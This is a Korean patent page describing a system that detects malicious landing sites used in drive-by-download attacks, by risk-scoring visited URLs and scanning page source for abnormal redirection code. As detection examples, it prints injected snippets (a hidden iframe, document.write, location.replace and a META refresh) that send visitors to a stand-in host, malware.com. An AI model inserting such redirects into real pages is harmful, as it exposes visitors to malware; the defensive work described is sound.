KR101625338B1 - 악성 경유지를 탐지하는 시스템 및 방법 - Google Patents

악성 경유지를 탐지하는 시스템 및 방법 Download PDF

Info

Publication number
KR101625338B1
KR101625338B1 KR1020150146062A KR20150146062A KR101625338B1 KR 101625338 B1 KR101625338 B1 KR 101625338B1 KR 1020150146062 A KR1020150146062 A KR 1020150146062A KR 20150146062 A KR20150146062 A KR 20150146062A KR 101625338 B1 KR101625338 B1 KR 101625338B1
Authority
KR
South Korea
Prior art keywords
malicious
url
address
url address
collected
Prior art date
Application number
KR1020150146062A
Other languages
English (en)
Inventor
황성운
여인성
Original Assignee
홍익대학교세종캠퍼스산학협력단
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by 홍익대학교세종캠퍼스산학협력단 filed Critical 홍익대학교세종캠퍼스산학협력단
Priority to KR1020150146062A priority Critical patent/KR101625338B1/ko
Application granted granted Critical
Publication of KR101625338B1 publication Critical patent/KR101625338B1/ko

Links

Images

Classifications

    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1408Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic by monitoring network traffic
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1441Countermeasures against malicious traffic
    • H04L63/1466Active attacks involving interception, injection, modification, spoofing of data unit addresses, e.g. hijacking, packet injection or TCP sequence number attacks
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L2463/00Additional details relating to network architectures or network communication protocols for network security covered by H04L63/00
    • H04L2463/141Denial of service attacks against endpoints in a network

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • Computer Hardware Design (AREA)
  • Computing Systems (AREA)
  • General Engineering & Computer Science (AREA)
  • Computer Networks & Wireless Communication (AREA)
  • Signal Processing (AREA)
  • Information Transfer Between Computers (AREA)

Abstract

본 발명은 악성 경유지를 탐지하는 시스템 및 방법에 관한 것으로, 본 발명은 사용자가 접속하는 웹 사이트의 URL 주소를 기반으로 검사대상을 수집하고 상기 웹 사이트의 소스코드로부터 비정상적 코드의 특징을 찾아내어 악성 경유지 여부를 판단하며, 찾아낸 악성 경유지의 URL 주소를 중앙 서버를 이용해 모든 에이전트에 동기화하고, 악성 경유지의 URL 주소를 기반으로 차단 룰을 만들어 침입 방지 시스템에 적용하여 사용자의 악성 경유지 접근 트래픽을 차단하는 시스템에 관한 것이다.

Description

악성 경유지를 탐지하는 시스템 및 방법{System and method for detecting malicious landing sites}
이하의 일실시예들은 악성 경유지를 탐지하는 시스템 및 방법에 관한 것으로, 드라이브 바이 다운로드(Drive-by-Download) 공격에 사용되는 악성 경유지 (malicious landing sites)를 탐지하고 사전에 차단하여, 사용자가 악성 유포지로 유도되어 악성 파일을 다운로드하는 것을 방지하기 위한 시스템에 관한 것이다.
최근 웹 사이트를 통해 악성코드를 다운로드하게 하는 공격이 빈번히 발생하고 있다. 이러한 공격은 사용자의 인지 없이 진행되기 때문에 큰 위협이 되고 있다. 공격에 감염된 PC는 사용자의 개인 정보를 유출하거나 좀비 PC가 되어 또 다른 공격을 수행함으로써 추가 피해를 유발한다.
따라서 이러한 위협으로부터 사용자의 PC(personal computer)를 보호하기 위해 웹 크롤러를 이용한 악성 웹 사이트의 사전 탐지 연구가 활발히 이루어지고 있다. 특히 웹 사이트로부터 악성으로 의심되는 파일을 다운로드하고 검사함으로써 악성 사이트로 판단하는 기법들이 연구되어 왔다.
하지만, 이러한 종래의 기법들은 전체 웹 사이트를 대상으로 검사를 수행하며, 악성으로 의심되는 파일을 다운로드하고 검사하여 웹 사이트의 악성 여부를 판단하기 때문에 소요되는 시간과 비용이 적지 않은 문제를 가지고 있다.
본 발명은 상기와 같은 종래 기술의 문제점을 해결하고자 도출된 것으로서,
사용자가 방문하는 웹 사이트 URL을 접속 히스토리를 기반으로 검사 우선순위를 정하여 검사 범위를 축소하고, 이 축소된 범위에 속하는 접속 URL를 크롤링(crawling)하여 웹 페이지의 소스코드 안에 있는 비정상 코드를 식별하고 악성 경유지를 판단함으로써, 빠른 시간에 웹사이트의 악성 여부를 효율적으로 검사하는 방법을 제공하는 것을 목적으로 한다.
또한, 본 발명은 웹 사이트 소스코드의 비정상 코드를 탐지하여 악성 경유지 여부를 파악하고 그 목록을 저장하고 관리하며, 악성 경유지 주소를 기반으로 차단 룰을 만들어 침입 방지 시스템에 적용하여 사용자 PC를 안전하게 보호하기 위한 방법을 제공하는 것을 목적으로 한다.
그러나 본 발명의 목적은 상기에 언급된 사항으로 제한되지 않으며, 언급되지 않은 또 다른 목적들은 아래의 기재로부터 당업자에게 명확하게 이해될 수 있을 것이다.
상기와 같은 목적을 달성하기 위하여, 본 발명의 일 실시 예에 따른 악성 경유지를 탐지하는 방법은, 사용자의 네트워크 트래픽으로부터 유알엘(URL; Uniform Resource Locator) 주소를 수집하는 단계; 상기 수집한 URL 주소의 위험도를 분석하는 단계; 및 상기 수집한 URL 주소 중에서 상기 위험도의 분석결과 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 단계를 포함한다.
이때, 악성 경유지를 탐지하는 방법은, 상기 악성 경유지를 확인하면, 상기 악성 경유지의 URL 주소를 데이터베이스에 저장하고, 악성 경유지 차단 룰을 생성하는 단계; 및 상기 악성 경유지 차단 룰에 따라 상기 악성 경유지의 URL 주소를 차단하는 단계를 더 포함할 수 있다.
이때, 악성 경유지를 탐지하는 방법은, 상기 악성 경유지를 확인하면, 중앙 서버에 상기 악성 경유지에 관한 정보를 전송하는 단계; 상기 중앙 서버의 중앙 서버 악성 경유지 데이터베이스에 상기 악성 경유지에 관한 정보를 추가하여 갱신하는 단계; 및 상기 중앙 서버 악성 경유지 데이터베이스에 저장된 악성 경유지에 관한 정보를 다른 클라이언트와 공유하는 단계를 더 포함할 수 있다.
이때, 상기 수집한 URL 주소의 위험도를 분석하는 단계는, 상기 수집한 URL 주소의 위험도는 위험, 경고, 주의, 정상의 4가지 단계로 구분하여 분석할 수 있다.
이때, 상기 위험으로 분석되는 경우는 상기 수집한 URL 주소 중에서 최근 기설정한 시간 내에 악성 경유지로 탐지된 이력이 있는 URL 주소이고, 상기 경고로 분석되는 경우는 상기 수집한 URL 주소 중에서 최근 기설정한 시간 내는 아니지만 이전에 악성 경유지로 탐지된 이력이 있는 URL 주소이고, 상기 주의로 분석되는 경우는 상기 수집한 URL 주소의 위험도 지수를 계산하여 상기 위험도 지수가 기설정된 기준값을 초과하면 상기 주의로 분석하고, 상기 정상으로 분석되는 경우는 상기 수집한 URL 주소의 상기 위험도 지수를 계산하여 상기 위험도 지수가 상기 기설정된 기준값 이하이면 상기 정상으로 분석할 수 있다.
이때, 상기 위험도 지수는, 상기 사용자가 URL 주소에 접속하는 빈도, 상기 사용자가 URL 주소에 접속한 최근 시간, URL 주소의 페이지 뷰, 사이트 랭크, 트래픽 볼륨, 사이트 인지도, 검색엔진 노출도, 외향 연결 지향도, 악성 경유지로 탐지된 횟수 및 악성 경유지로 탐지된 최근 시간 중에서 적어도 하나를 각각 기설정한 수의 등급으로 구분하고, 등급에 따른 가중치를 부여하고, 가중치한 합으로 상기 위험도 지수가 계산될 수 있다.
이때, 상기 수집한 URL 주소 중에서 상기 위험도의 분석결과 검사가 필요하다고 판단된 URL 주소는, 상기 수집한 URL 주소의 위험도가 상기 위험, 상기 경고, 상기 주의에 해당하면 검사가 필요한 URL 주소로 판단될 수 있다.
이때, 상기 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 단계는, 상기 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드를 분석하여 비정상적인 리다이렉션(redirection) 코드가 존재하는지 여부를 확인하여, 상기 비정상적인 리다이렉션 코드가 존재하면 악성 경유지로 판단한다. 만약 상기 웹 페이지에 난독화(obfuscation) 된 자바 스크립트가 존재하는 경우, 상기 자바 스크립트의 난독화를 해제한 후에 상기 비정상적인 리다이렉션 코드가 존재하는지 여부를 확인하여, 상기 비정상적인 리다이렉션 코드가 존재하면 악성 경유지로 판단할 수 있다.
이때, 상기 수집한 URL 주소의 위험도를 분석하는 단계는, 상기 수집한 URL 주소의 위험도를 분석한 결과에 따라서 상기 위험도를 고려하여 악성 경유지 여부를 검사하는 검사 범위와 검사하는 우선순위를 결정하고, 상기 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 단계는, 상기 검사 범위에 포함된 URL 주소들을 상기 우선순위에 따라서 검사할 수 있다.
본 발명의 다른 일 실시 예에 따른 악성 경유지를 탐지하는 시스템은, 사용자의 네트워크 트래픽으로부터 유알엘(URL; Uniform Resource Locator) 주소를 수집하고, 상기 수집한 URL 주소의 위험도를 분석하는 사용자 URL 관리부; 및 상기 수집한 URL 주소 중에서 상기 위험도의 분석결과 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 악성 경유지 탐지부를 포함한다.
이때, 상기 시스템은 악성 경유지 차단부를 더 포함하고, 상기 악성 경유지 차단부는 상기 악성 경유지 탐지부에서 확인한 상기 악성 경유지의 URL 주소를 수신하여 저장하는 악성 경유지 데이터베이스; 상기 악성 경유지의 URL 주소에 대한 악성 경유지 차단 룰을 생성하는 악성 경유지 관리 모듈; 및 상기 악성 경유지 차단 룰에 따라 상기 악성 경유지의 URL 주소를 차단하는 악성 경유지 차단 모듈을 포함할 수 있다.
이때, 상기 시스템은 중앙 서버를 더 포함하고, 상기 중앙 서버는, 악성 경유지에 관한 정보를 저장하는 중앙 서버 악성 경유지 데이터 베이스; 및 상기 악성 경유지 관리 모듈로부터 상기 악성 경유지 탐지부에서 확인한 상기 악성 경유지의 URL 주소를 수신하여 상기 중앙 서버 악성 경유지 데이터 베이스를 갱신하고, 상기 중앙 서버 악성 경유지 데이터베이스에 저장된 상기 악성 경유지에 관한 정보를 다른 클라이언트와 공유하는 중앙 서버 악성 경유지 관리 모듈을 포함할 수 있다.
이때, 상기 악성 경유지 탐지부는, 상기 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드를 분석하여 비정상적인 리다이렉션(redirection) 코드가 존재하는지 여부를 확인하여, 상기 비정상적인 리다이렉션 코드가 존재하면 악성 경유지로 판단하는 HTML 검사 모듈; 및 상기 웹 페이지에 난독화(obfuscation) 된 자바 스크립트가 존재하면, 상기 자바 스크립트의 난독화를 해제하고, 상기 자바 스크립트에 상기 비정상적인 리다이렉션 코드가 존재하는지 여부를 확인하여, 상기 비정상적인 리다이렉션 코드가 존재하면 악성 경유지로 판단하는 자바 스크립트 검사 모듈을 포함할 수 있다.
이때, 상기 사용자 URL 관리부는, 상기 수집한 URL 주소의 위험도를 분석하는 URL 분석 모듈을 포함하고, 상기 URL 분석 모듈은, 상기 수집한 URL 주소의 위험도를 분석한 결과에 따라서 상기 위험도를 고려하여 악성 경유지 여부를 검사하는 검사 범위와 검사하는 우선순위를 결정하고, 상기 악성 경유지 탐지부는, 상기 검사 범위에 포함된 URL 주소들을 상기 우선순위에 따라서 검사할 수 있다.
본 발명은 악성 경유지를 탐지하는 시스템 및 방법에 관한 것으로, 사용자가 접속한 웹 사이트 URL 히스토리를 기반으로 검사 우선순위를 정하여 검사 범위를 축소함으로써, 악성 경유지를 탐지할 때 발생하는 시간과 비용의 소요를 줄이고 빠른 시간에 의심되는 웹 사이트를 효율적으로 검사할 수 있는 효과가 있다.
또한, 본 발명은 악성 경유지를 판단하기 위해 악성으로 의심되는 파일을 다운로드하여 검증하지 않고 웹 페이지 소스코드 내의 비정상적인 코드를 검사하여 악성 여부를 판단하므로 악성 경유지를 빠른 시간에 탐지 및 차단할 수 있는 효과가 있다.
도 1은 일 예에 따라 악성 경유지를 탐지하는 시스템의 구성을 도시한 도면이다.
도 2는 일 예에 따라 악성 코드의 경유지를 탐지하는 개략적인 과정을 도시한 도면이다.
도 3은 일 예에 따라 악성 코드의 경유지를 탐지하는 과정을 도시한 도면이다.
본 명세서에 개시되어 있는 본 발명의 개념에 따른 실시예들에 대해서 특정한 구조적 또는 기능적 설명들은 단지 본 발명의 개념에 따른 실시예들을 설명하기 위한 목적으로 예시된 것으로서, 본 발명의 개념에 따른 실시예들은 다양한 형태로 실시될 수 있으며 본 명세서에 설명된 실시예들에 한정되지 않는다.
본 발명의 개념에 따른 실시예들은 다양한 변경들을 가할 수 있고 여러 가지 형태들을 가질 수 있으므로 실시예들을 도면에 예시하고 본 명세서에 상세하게 설명하고자 한다. 그러나, 이는 본 발명의 개념에 따른 실시예들을 특정한 개시형태들에 대해 한정하려는 것이 아니며, 본 발명의 사상 및 기술 범위에 포함되는 변경, 균등물, 또는 대체물을 포함한다.
제1 또는 제2 등의 용어를 다양한 구성요소들을 설명하는데 사용될 수 있지만, 상기 구성요소들은 상기 용어들에 의해 한정되어서는 안 된다. 상기 용어들은 하나의 구성요소를 다른 구성요소로부터 구별하는 목적으로만, 예를 들어 본 발명의 개념에 따른 권리 범위로부터 이탈되지 않은 채, 제1 구성요소는 제2 구성요소로 명명될 수 있고, 유사하게 제2 구성요소는 제1 구성요소로도 명명될 수 있다.
어떤 구성요소가 다른 구성요소에 "연결되어" 있다거나 "접속되어" 있다고 언급된 때에는, 그 다른 구성요소에 직접적으로 연결되어 있거나 또는 접속되어 있을 수도 있지만, 중간에 다른 구성요소가 존재할 수도 있다고 이해되어야 할 것이다. 반면에, 어떤 구성요소가 다른 구성요소에 "직접 연결되어" 있다거나 "직접 접속되어" 있다고 언급된 때에는, 중간에 다른 구성요소가 존재하지 않는 것으로 이해되어야 할 것이다. 구성요소들 간의 관계를 설명하는 표현들, 예를 들어 "~사이에"와 "바로~사이에" 또는 "~에 직접 이웃하는" 등도 마찬가지로 해석되어야 한다.
본 명세서에서 사용한 용어는 단지 특정한 실시예들을 설명하기 위해 사용된 것으로, 본 발명을 한정하려는 의도가 아니다. 단수의 표현은 문맥상 명백하게 다르게 뜻하지 않는 한, 복수의 표현을 포함한다. 본 명세서에서, "포함하다" 또는 "가지다" 등의 용어는 설시된 특징, 숫자, 단계, 동작, 구성요소, 부분품 또는 이들을 조합한 것이 존재함으로 지정하려는 것이지, 하나 또는 그 이상의 다른 특징들이나 숫자, 단계, 동작, 구성요소, 부분품 또는 이들을 조합한 것들의 존재 또는 부가 가능성을 미리 배제하지 않는 것으로 이해되어야 한다.
다르게 정의되지 않는 한, 기술적이거나 과학적인 용어를 포함해서 여기서 사용되는 모든 용어들은 본 발명이 속하는 기술 분야에서 통상의 지식을 가진 자에 의해 일반적으로 이해되는 것과 동일한 의미를 가진다. 일반적으로 사용되는 사전에 정의되어 있는 것과 같은 용어들은 관련 기술의 문맥상 가지는 의미와 일치하는 의미를 갖는 것으로 해석되어야 하며, 본 명세서에서 명백하게 정의하지 않는 한, 이상적이거나 과도하게 형식적인 의미로 해석되지 않는다.
이하의 설명에서 사용자가 접속하는 웹 사이트의 URL 주소를 기반으로 검사범위와 우선순위를 결정하고, 해당 사이트의 소스코드로부터 비정상적인 코드를 검사하여 악성 경유지를 탐지하고, 탐지한 악성 경유지를 침입 방지 시스템에 적용하여 사용자가 악성 경유지에 접속 시도 시 차단하는 시스템에 대한 새로운 방안을 제안한다.
이하, 실시예들을 첨부된 도면을 참조하여 상세하게 설명한다. 그러나, 특허출원의 범위가 이러한 실시예들에 의해 제한되거나 한정되는 것은 아니다. 각 도면에 제시된 동일한 참조 부호는 동일한 부재를 나타낸다.
이하에서는, 본 발명의 일 실시 예에 따른 악성 경유지를 탐지하는 시스템 및 방법을 첨부된 도 1 내지 도 3을 참조하여 상세히 설명한다.
도 1은 일 예에 따라 악성 경유지를 탐지하는 시스템의 구성을 도시한 도면이다.
도 1을 참조하면, 악성 경유지를 탐지하고 차단하기 위한 시스템은 사용자 유알엘(URL; Uniform Resource Locator) 관리부(110), 악성 경유지 탐지부(120), 악성 경유지 차단부(130), 중앙서버(140) 등을 포함하여 구성될 수 있다. 이때, 사용자 URL 관리부(110)와 중앙서버(140)는 시스템 내부에 포함될 수도 있고 시스템 외부에 별도로 위치할 수도 있다.
사용자 URL 관리부(110)는 URL 수집 모듈(111)과 URL 분석 모듈(112), URL 데이터베이스(113)를 포함하며, 사용자의 네트워크 트래픽으로부터 유알엘(URL; Uniform Resource Locator) 주소를 수집한다.
보다 상세히 설명하면 사용자 URL 관리부(110)는 사용자 PC(personal computer)와 외부 네트워크 사이의 트래픽을 미러링하여 수집하고, 트래픽으로부터 웹 사이트의 URL 주소를 추출하고, 위험도를 산출하여 해당 분석 정보를 URL 데이터베이스(113)에 저장 및 관리한다. 이때, 사용자 URL 관리부(110)는 사용자 PC에 설치될 수도 있고, PC 외부에 존재할 수도 있다.
URL 수집 모듈(111)은 사용자 PC와 외부 네트워크 사이의 트래픽으로부터 웹 사이트의 URL 주소를 추출하여 URL 분석 모듈(112)로 전송한다.
URL 분석 모듈(112)은 URL 수집 모듈(111)이 수집한 URL 주소와 악성 경유지 데이터베이스(131)에 저장된 악성 경유지 URL 주소를 수신하여 검사할 웹 사이트 URL의 우선순위 및 범위를 정하고 해당 정보를 URL 데이터베이스(113)에 업데이트 한다.
이때, URL 분석 모듈(112)은 URL 수집 모듈(111)에서 추출한 웹 사이트 URL에 대해서 사용자별로 해당 웹 사이트 URL에 접속한 빈도수, 시간 등 정보를 사용할 수 있다. 또한 해당 사이트의 페이지 뷰, 사이트 랭크, 트래픽 볼륨, 사이트 인지도, 검색엔진 노출도 등의 정보를 사용할 수 있다. 악성 경유지 데이터베이스(310)에서 수신한 악성 경유지 URL에 대해서는 외향 연결 지향도, 악성 경유지로 탐지된 횟수, 가장 최근의 감염된 시간 등의 정보를 사용할 수 있다.
URL 분석 모듈(112)은 이러한 정보들에 가중치를 두어 URL의 위험도를 산출하고 위험도에 따라 4단계 (위험, 경고, 주의, 정상)로 분류하여 검사 우선순위 및 범위를 정한다.
URL 분석 모듈(112)에서 위험으로 분류되는 경우는 수집한 URL 주소 중에서 최근 기설정한 시간 내에 악성 경유지로 탐지된 이력이 있는 URL 주소이다.
URL 분석 모듈(112)에서 경고로 분류되는 경우는 수집한 URL 주소 중에서 최근 기설정한 시간 내는 아니지만 이전에 악성 경유지로 탐지된 이력이 있는 URL 주소이다.
URL 분석 모듈(112)에서 주의로 분류되는 경우는 수집한 URL 주소의 위험도 지수를 계산하여 위험도 지수가 기설정된 기준값을 초과하면 주의로 분류한다.
URL 분석 모듈(112)에서 정상으로 분류되는 경우는 수집한 URL 주소의 위험도 지수를 계산하여 위험도 지수가 기설정된 기준값 이하이면 정상으로 분류한다. 즉, 정상의 경우는 악성 경유지로 분류된 이력이 없고 산출한 위험도 지수가 기준 이하인 URL을 의미한다.
이때, 위험도 지수는 다음과 같이 계산될 수 있다. URL 분석 모듈(112)는 사용자가 URL 주소에 접속하는 빈도, 사용자가 URL 주소에 접속한 최근 시간, URL 주소의 페이지 뷰, 사이트 랭크, 트래픽 볼륨, 사이트 인지도, 검색엔진 노출도, 외향 연결 지향도, 악성 경유지로 탐지된 횟수 및 악성 경유지로 탐지된 최근 시간 등 중에서 적어도 하나를 각각 기설정한 수의 등급으로 구분하고, 등급에 따른 가중치를 부여하고, 가중치한 합으로 위험도 지수를 계산 할 수 있다. 참고로 위험도 지수는 여기에 기술되지 않은 다양한 항목을 가지고 계산될 수 있으며, 본 특허는 여기서 기술하는 특정 항목에 국한되지 않는다.
예를 들어, URL 분석 모듈(112)는 가중치 합을 통해 위험도 지수를 계산하기 위해서 사용자가 URL 주소에 접속하는 빈도를 5단계의 등급으로 분류하고, 사용자의 접속 빈도수가 높을수록 높은 가중 치가 할당 되도록 하여, 1에서 5의 가중치를 할당할 수 있다.
URL 분석 모듈(112)는 가중치 합을 통해 위험도 지수를 계산하기 위해서 사용자가 URL에 접속한 최근 시간을 기설정한 시간 간격을 5단계의 등급으로 분류하고 기준으로 최근에 접속했을 수록 높은 가중치가 부여되도록 하여, 1 에서 5의 가중치를 할당할 수 있다.
URL 분석 모듈(112)는 가중치 합을 통해 위험도 지수를 계산하기 위해서 사이트의 페이지 뷰, 사이트 랭크, 트래픽 볼륨, 사이트 인지도 및 검색엔진 노출도의 경우도 5단계의 등급으로 분류하고, 1 에서 5의 가중치를 할당할 수 있다.
URL 분석 모듈(112)는 가중치 합을 통해 위험도 지수를 계산하기 위해서 외향 연결도 지향도의 경우, "out-degree/in-degree"의 값이 1미만이면 1의 가중치를 할당하고, 1~2이면 2의 가중치를 할당하고, 3~5이면 3의 가중치를 할당하고, 6~9이면 4의 가중치를 할당하고, 10이상이면 5의 가중치를 할당할 수 있다.
이때, 외향 연결도는 경로 내 집중도를 의미하는 것으로, 해당 사이트의 구조가 다른 사이트로 패킷을 보내는(out-degree) 외향 연결 지향 사이트인지, 아니면 패킷을 받는(in-degree) 내향 연결 지향 사이트인지를 분별하기 위한 것으로, "out-degree/in-degree"는 송신하는 패킷과 수신하는 패킷의 비율을 의미한다. 따라서, 외향 연결도의 값이 클수록 외부로 패킷을 많이 송신한다는 의미이고, 악성 경유지의 확률이 높다는 것이다.
URL 분석 모듈(112)는 가중치 합을 통해 위험도 지수를 계산하기 위해서 전체 악성 경유지에 대해서 "악성 경유지로 탐지된 횟수/해당 URL을 검사한 횟수"를 계산해 이를 기준으로 5단계의 등급으로 나누고, 악성 경유지로 탐지된 횟수가 많을수록 높은 가중치가 부여되도록 하여, 1 에서 5의 가중치를 할당할 수 있다.
URL 분석 모듈(112)는 가중치 합을 통해 위험도 지수를 계산하기 위해서 악성 경유지로 탐지된 최근 시간을 기설정된 시간 간격을 기준으로 5단계의 등급으로 나누고, 탐지된 시간이 최근일수록 높은 가중치가 부여되도록 하여, 1 에서 5의 가중치를 할당할 수 있다.
URL 분석 모듈(112)는 위험도에 따른 분류를 기준으로 수집한 URL 주소에 대한 악성 경유지 여부를 검사하는 검사 범위와 검사하는 우선순위를 결정하고, 결정된 검사 범위와 우선순위에 관헌 정보를 URL 데이터베이스(113)에 저장한다.
예를 들어 URL 분석 모듈(112)는 검사 범위를 수집한 URL 주소 중에서 위험도가 위험과 경고인 URL 주소로 설정하고, 우선순위를 위험과 경고 순서로 설정할 수 있다. 다른 예로, 분석 모듈(112)는 검사 범위를 수집한 URL 주소 중에서 위험도가 위험, 경고 및 주의인 URL 주소로 설정하고, 우선순위를 위험, 경고 및 주의 순서로 설정할 수 있다.
URL 데이터베이스(113)는 기본적으로 alexa.com과 같은 웹 사이트 트래픽 분석 서비스를 참조해 트래픽이 가장 많이 발생하는 웹 사이트 목록을 저장 관리 하고 있으며, URL 수집 모듈(111)에서 추출해서 제공한 사용자별로 웹 사이트 URL 주소에 접속한 빈도수, 시간 등의 정보, 해당 사이트의 페이지 뷰, 사이트 랭크, 트래픽 볼륨, 검색엔진 노출도 등의 정보 등을 관리하고 악성 경유지 데이터베이스(131)의 악성 경유지 URL 주소의 외향 연결 지향도, 악성 경유지로 탐지된 횟수, 가장 최근의 감염된 시간 등의 정보를 관리한다. 또한 URL 분석 모듈(112)에서 생성한 검사 우선순위, 범위, 위험도 등 정보를 저장 관리한다.
악성 경유지 탐지부(120)는 HTML 검사 모듈(121)과 자바스크립트(JavaScript) 검사 모듈(122)을 포함하며, URL 데이터베이스(113)가 제공하는 사용자가 접속한 웹 사이트 URL를 크롤링(crawling)하여 웹 페이지의 소스코드 안에 있는 비정상 코드를 식별하고, 악성 경유지를 판단한다.
악성 경유지 탐지부(120)는 악성 경유지를 검사할 때, URL 데이터베이스(113)에 저장된 URL 분석 모듈(112)에 의해서 결정된 검사 범위와 우선순위에 따라서, 검사 범위에 포함된 URL 주소들을 우선순위에 따라서 검사한다.
이때, 악성 경유지로 판단된 URL 주소는 악성 경유지 데이터베이스(131)에 저장되어 사용자의 악성 경유지 접근을 차단하기 위한 용도로 사용된다.
HTML 검사 모듈(121)은 URL 데이터베이스(113)에 저장된 검사가 필요하다고 판단된 URL 주소에 대응하는 URL 주소 목록을 제공받아 해당 URL 주소와 링크된 하위 URL을 탐색한다. 공격자들은 악성 경유지로 사용자의 접근을 유도하기 위해 사람들의 관심이 집중되거나 많이 알려진 사이트의 메인 페이지나 하위 URL 주소의 조작을 시도하기 때문에, HTML 검사 모듈(121)은 하위 URL 주소를 하위로 (예를 들어, 4에서 5의 깊이(depth)로) 웹 크롤러의 탐색 깊이를 설정해 악성 경유지를 탐색할 수 있다. 하지만, 하위 URL 주소를 검색하는 깊이는 설정에 의해 다양하게 변경 가능하다.
HTML 검사 모듈(121)은 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드를 분석하여 비정상 코드에 해당하는 비정상적인 리다이렉션(redirection) 코드를 찾아낸다. 여기서 비정상적인 리다이렉션 코드는 숨김 iframe, 자바 스크립트 형태의 iframe, replace 함수의 사용, 웹 페이지 헤더의 META 태그 사용 등을 적어도 하나 포함할 수 있다.
숨김 iframe의 경우는 width와 height 속성을 0이나 1같은 아주 작은 값으로 설정하는 경우로, 웹 브라우저 상에서 사용자가 육안으로 인지할 수 없는 상태에서 리다이렉션을 수행하도록 하기 때문에 비정상 코드로 분류한다.
숨김 iframe의 경우는 예는 다음과 같다.
<iframe width="0" height="1" style="display:none" src=http://malware.com></iframe>
난독화(obfuscation)된 자바 스크립트의 경우 난독화를 해제하여 비정상적 코드의 포함 여부를 검사해야 하며, 자바 스크립트 형태의 숨김 iframe의 경우는 다음의 예와 같다.
<script>
document.write('<iframe width="0" height="1" style="display:none" src=http://malware.com></iframe>');
</script>
replace 함수를 사용하는 경우는 사용자들의 접속이 많은 사이트에 주로 삽입되어 악성 유포지로 연결을 유도하는 코드로 활용될 수 있다. replace 함수의 경우, 코드의 형태만으로는 악성 유무를 판단하기가 쉽지 않기 때문에 replace 함수에 삽입된 URL의 주소가 현재 도메인의 하위 주소가 아닌 타 도메인의 주소로 설정되어 있어 외부로 접속을 시도할 경우 비정상적인 코드로 판단할 수 있다.
replace 함수를 사용하는 경우의 예는 다음과 같다.
<script>location.replace("http://malware.com/malware.js")</script>
META 태그를 사용하는 경우는 사용자가 접속한 웹 페이지를 META 태그에 정의된 주소로 refresh 시키기 때문에 replace함수와 비슷한 코드의 형태만으로는 악성 유무를 판단하기 쉽지 않으며, META 함수에 삽입된 URL의 주소가 타 도메인의 주소로 설정되어 외부로 접속을 시도할 경우 비정상적 코드로 판단할 수 있다.
META 태그를 사용하는 경우의 예는 다음과 같다.
<META HTTP-EQUIV='refresh' CONTENT='0; URL=http://malware.com'>
HTML 검사 모듈(121)은 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드에 자바 스크립트 코드가 존재하면 자바 스크립트 코드의 악성 여부를 탐지하기 위해 소스코드의 자바 스크립트 부분을 추출하여 JavaScript 검사 모듈(122)로 전송한다.
JavaScript 검사 모듈(122)은 HTML 검사 모듈(121)에서 추출한 자바 스크립트 코드를 수신하고, 난독화(obfuscation)된 경우 자바 스크립트 에뮬레이터를 이용해 난독화를 해제하고 자바 스크립트에 비정상적인 리다이렉션 코드 포함 여부를 검사한다. 난독화에 사용하는 주요 함수는 escape, eval, Document.write(), Document.writeln 등을 포함한다. 이때, 비정상적인 리다이렉션 코드를 탐지하면 해당 웹 사이트 URL을 악성 경유지 데이터베이스(131)에 전송한다.
악성 경유지 차단부(130)는 악성 경유지 데이터베이스(131)과 악성 경유지 관리 모듈(132)과 악성 경유지 차단 모듈(133)을 포함하며, 악성 경유지로 탐지된 URL을 기반으로 차단 룰을 만들고 침입 방지 시스템에 적용하여 악성 경유지로부터 사용자의 접근을 차단한다.
악성 경유지 데이터베이스(131)는 악성 경유지 탐지부(120)에서 검사하여 탐지한 악성 경유지의 URL 주소를 저장하고 악성 경유지 차단 모듈(133)에서 사용할 차단 룰을 만들기 위해 악성 경유지 관리 모듈(132)에 악성 경유지에 관한 정보를 제공한다. 또한, 사용자 URL 관리부(110)의 URL 분석 모듈(112)에 악성 경유지의 URL 주소를 제공하여 해당 URL의 위험도를 산출하도록 정보를 제공한다.
악성 경유지 관리 모듈(132)은 악성 경유지 데이터베이스(131)에 저장된 악성 경유지의 URL 주소를 관리하며 해당 악성 경유지의 URL 주소로부터 차단 룰을 만들어 악성 경유지 차단 모듈(133)에 적용하여 악성 경유지의 URL 주소를 차단함으로써, 사용자 PC의 보안을 강화시킨다. 또한, 중앙서버와 동기화되어 악성 경유지에 관한 정보를 실시간으로 공유함으로써, 새로운 악성 경유지 (즉, 사용자 PC가 접근하지 않은 새로운 외부 네트워크)에 대한 방어 능력을 향상시킨다.
악성 경유지 차단 모듈(133)은 악성 경유지 관리 모듈(132)에서 생성한 악성 경유지 차단 룰을 제공받아 사용자의 악성 경유지의 URL 주소로의 접근을 차단한다.
중앙서버(140)는 중앙서버 악성 경유지 관리 모듈(141)과 중앙서버 악성 경유지 데이터베이스(142)를 포함하며, 악성 경유지의 URL 주소와 같은 악성 경유지에 관한 정보를 저장하고, 통합하여 관리하며 다른 클라이언트들과 동기화하여 공유한다.
